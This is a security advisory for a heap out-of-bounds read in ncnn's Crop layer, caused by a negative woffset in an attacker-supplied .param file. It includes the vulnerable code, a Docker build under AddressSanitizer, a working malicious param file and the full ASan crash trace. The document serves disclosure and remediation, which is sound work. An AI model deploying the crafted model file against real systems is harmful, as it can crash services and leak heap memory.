Heap Out-of-Bounds Read in Crop

Affected commit: 5e66f094bf7c597b4569cc014a8be84104748678
Sink: src/layer/crop.cpp:86 in copy_cut_border_image
Sanitizer verdict: heap-buffer-overflow

Summary

A Crop layer in an attacker-supplied .param file can declare a negative woffset. Crop::resolve_crop_roi() turns that into an output that is wider than its input and a source pointer that starts before the input allocation, and copy_cut_border_image() then memcpys the oversized row out of bounds. Running the model through ncnnoptimize aborts the process, and without a sanitizer the bytes preceding the tensor are copied into the layer's output. The entry point is ncnnoptimize <param> <bin> ... via ModelWriter::shape_inference().

Detail

Crop::load_param() reads woffset = pd.get(0, 0), outw = pd.get(3, 0) and woffset2 = pd.get(6, 0) verbatim; negative values are accepted. For the one-dimensional case resolve_crop_roi() derives the output extent by subtraction and only ever clamps it downwards against an explicitly supplied outw, so a negative offset inflates the result and the sentinel -233 disables even that clamp.

// src/layer/crop.cpp:529
        if (dims == 1)
        {
            _outw = w - woffset - woffset2;
            if (outw != -233)
                _outw = std::min(outw, _outw);
        }

// src/layer/crop.cpp:72
    const T* ptr = src.row<T>(top) + left;
    T* outptr = dst; //.data;

    for (int y = 0; y < h; y++)
    {
        if (w < 12)
        {
            for (int x = 0; x < w; x++)
            {
                outptr[x] = ptr[x];
            }
        }
        else
        {
            memcpy(outptr, ptr, w * sizeof(T));
        }

The PoC feeds a 12-element 1-D input (Input input 0=12) into Crop crop 0=-1 3=-233 6=0. resolve_crop_roi computes _outw = 12 - (-1) - 0 = 13, and because outw == -233 the std::min clamp is skipped, so Crop::forward allocates a 13-element output and calls copy_cut_border_image<float>(bottom_blob, top_blob, 0, _woffset) with left = _woffset = -1.

Inside the helper, ptr = src.row<float>(0) + (-1) is four bytes below the 116-byte input allocation, and w is the destination width 13, which is >= 12, so the memcpy path is taken and copies 13 * sizeof(float) = 52 bytes starting one float before the buffer — exactly the READ of size 52 ... 4 bytes before 116-byte region ASan reports. Nothing checks that [_woffset, _woffset + _outw) lies inside [0, w).

Reproduce

mkdir -p ncnn-poc-heap-out-of-bounds-read-in-crop && cd ncnn-poc-heap-out-of-bounds-read-in-crop

cat > Dockerfile <<'DOCKERFILE'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
      git ca-certificates g++ cmake make python3 python3-pip python3-numpy \
      protobuf-compiler libprotobuf-dev \
 && pip3 install --no-cache-dir --break-system-packages onnx protobuf \
 && rm -rf /var/lib/apt/lists/*

RUN git clone --depth 1 https://github.com/Tencent/ncnn.git /ncnn

WORKDIR /ncnn
RUN cmake -S . -B build \
      -DCMAKE_BUILD_TYPE=Debug \
      -DCMAKE_C_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_CXX_FLAGS="-O0 -g -fsanitize=address" \
      -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
      -DNCNN_BUILD_TOOLS=ON -DNCNN_BUILD_EXAMPLES=ON -DNCNN_BUILD_BENCHMARK=ON \
      -DNCNN_BUILD_TESTS=OFF -DNCNN_VULKAN=OFF -DNCNN_OPENMP=OFF \
 && cmake --build build -j"$(nproc)"

ENV ASAN_OPTIONS=detect_leaks=0
WORKDIR /poc
DOCKERFILE

cat > poc.param <<'POC_EOF'
7767517
2 2
Input input 0 1 data 0=12
Crop crop 1 1 data output 0=-1 3=-233 6=0
POC_EOF

docker build -t ncnn-asan .
docker run --rm --network none -v "$PWD:/poc" ncnn-asan \
  /ncnn/build/tools/ncnnoptimize poc.param null out.param out.bin 0

AddressSanitizer output:

shape_inference
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51000000003c at pc 0x7bed7b18a42e bp 0x7ffeb6da3610 sp 0x7ffeb6da2db8
READ of size 52 at 0x51000000003c thread T0
    #0 0x7bed7b18a42d in memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115
    #1 0x60d48190867c in copy_cut_border_image<float> /ncnn/src/layer/crop.cpp:86
    #2 0x60d4818dae25 in ncnn::Crop::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/src/layer/crop.cpp:133
    #3 0x60d481969d01 in ncnn::Crop_x86_avx512::forward(ncnn::Mat const&, ncnn::Mat&, ncnn::Option const&) const /ncnn/build/src/layer/x86/crop_x86_avx512.cpp:634
    #4 0x60d47f520f2b in ncnn::NetPrivate::do_forward_layer(ncnn::Layer const*, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:721
    #5 0x60d47f512b7f in ncnn::NetPrivate::forward_layer(int, std::vector<ncnn::Mat, std::allocator<ncnn::Mat> >&, ncnn::Option const&) const /ncnn/src/net.cpp:167
    #6 0x60d47f5729e9 in ncnn::Extractor::extract(int, ncnn::Mat&, int) /ncnn/src/net.cpp:2939
    #7 0x60d47f4043c0 in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:435
    #8 0x60d47f481eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #9 0x7bed7ab121c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #10 0x7bed7ab1228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #11 0x60d47f401624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

0x51000000003c is located 4 bytes before 116-byte region [0x510000000040,0x5100000000b4)
allocated by thread T0 here:
    #0 0x7bed7b18bf1d in posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x60d47f4d0bc5 in fastMalloc /ncnn/src/allocator.h:62
    #2 0x60d47f4d0bc5 in ncnn::Mat::create(int, unsigned long, ncnn::Allocator*) /ncnn/src/mat.cpp:331
    #3 0x60d47f402c3b in ModelWriter::shape_inference() /ncnn/tools/modelwriter.h:388
    #4 0x60d47f481eee in main /ncnn/tools/ncnnoptimize.cpp:2844
    #5 0x7bed7ab121c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7bed7ab1228a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x60d47f401624 in _start (/ncnn/build/tools/ncnnoptimize+0x2a1624) (BuildId: b1911b1bfb480c5a294bfb9d0e0f7bbde3aaf530)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:115 in memcpy

Credit

Zheng Yu @ DepthFirst